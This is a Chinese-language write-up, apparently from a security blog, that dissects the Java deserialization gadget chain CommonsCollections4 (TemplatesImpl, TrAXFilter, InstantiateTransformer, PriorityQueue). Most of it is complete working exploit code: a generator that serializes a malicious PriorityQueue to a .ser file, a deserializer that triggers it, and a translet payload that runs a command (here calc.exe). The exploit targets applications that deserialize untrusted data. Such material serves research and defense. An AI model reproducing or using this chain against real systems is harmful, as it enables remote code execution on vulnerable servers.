1.前言
这篇文章继续分析commoncollections4利用链，这篇文章是对cc2的改造，和cc3一样，cc3是对cc1的改造，cc4则是对cc2的改造，里面chained的invoke变成了instantiateTransformer，所以不用invoke反射调用方法，所以外层queue里面放的元素随意
缩减版的函数调用栈如下图所示：
2.利用链分析：
调用还是从PriorityQueue.readObject函数开始
一直到org/apache/commons/collections4/comparators/TransformingComparator.class的compare函数中将调用chainedTransformer的transform方法了
这里第一个要利用的还是ConstantTransformer，要返回TrAXfilter类
接下来第二轮将调用Traxfilter类入口参数类型为Templates的构造函数，并且实例化调用该构造函数传入templatesImpl类的实例
接下来到TraxFilter的构造函数中将调用templatesImpl.newTransformer()，就可以是实例化_bytecode中存储的类进行rce了
yso构造分析：
首先构造一个Templates类的实例，然后开始构造chianed链需要的东西，首先就是一个Constanttransformer
然后再构造chained的第二个元素就是该链相对于cc2的区别为InstantiateTransformer类
接下来将两个transformer放进chaind，并且构造外层的PriorityQueue，并将chined放入TransformingComparator,然后再将Templates放到instantiate实例的参数和参数类型中，至此
就构造结束了
手动exp构造：
exp.java
package CommonsCollections4;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import javassist.*;
import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.comparators.ComparableComparator;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InstantiateTransformer; import javax.xml.transform.Templates;
import java.io.File;
import java.io.FileOutputStream;
import java.io.IOException;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.PriorityQueue; public class exp {
public static void main(String[] args) throws IOException, CannotCompileException, ClassNotFoundException, NoSuchFieldException, IllegalAccessException, NotFoundException {
TemplatesImpl tmp = new TemplatesImpl();
ClassPool pool = ClassPool.getDefault();
pool.insertClassPath(new ClassClassPath(payload.class)); CtClass pay_class = pool.get(payload.class.getName());
byte[] payCode = pay_class.toBytecode();
Class clazz;
clazz =Class.forName("com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl");
//存储payload类
Field byteCode = clazz.getDeclaredField("_bytecodes");
byteCode.setAccessible(true);
byteCode.set(tmp,new byte[][]{payCode});
Field name = clazz.getDeclaredField("_name");
name.setAccessible(true);
name.set(tmp,"tr1ple"); Transformer[] trans = new Transformer[]{
new ConstantTransformer(TrAXFilter.class),
new InstantiateTransformer(
new Class[]{Templates.class},
new Object[]{tmp})
}; ChainedTransformer chian = new ChainedTransformer(trans);
//PriorityQueue<Object> queue = new PriorityQueue(2,new TransformingComparator(chian));
TransformingComparator transCom = new TransformingComparator(chian); PriorityQueue queue = new PriorityQueue(2);
queue.add(1);
queue.add(1); Field com = PriorityQueue.class.getDeclaredField("comparator");
com.setAccessible(true);
com.set(queue,transCom); //序列化
File file;
file = new File(System.getProperty("user.dir")+"/javasec-ysoserial/src/main/resources/commonscollections4.ser");
ObjectOutputStream obj_out = new ObjectOutputStream(new FileOutputStream(file));
obj_out.writeObject(queue); }
}
readobj.java
package CommonsCollections4; import java.io.*;
import java.lang.Runtime; public class readObj {
public static void main(String[] args) throws IOException, ClassNotFoundException {
File file;
file = new File(System.getProperty("user.dir")+"/javasec-ysoserial/src/main/resources/commonscollections4.ser");
ObjectInputStream obj = new ObjectInputStream(new FileInputStream(file));
obj.readObject();
}
}
payload.java
package CommonsCollections4; import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler; import java.io.IOException; public class payload extends AbstractTranslet {
{
try {
Runtime.getRuntime().exec("calc.exe");
} catch (IOException e) {
e.printStackTrace();
}
}
public payload(){
System.out.println("tr1ple 2333");
} public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
} public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException { }
}
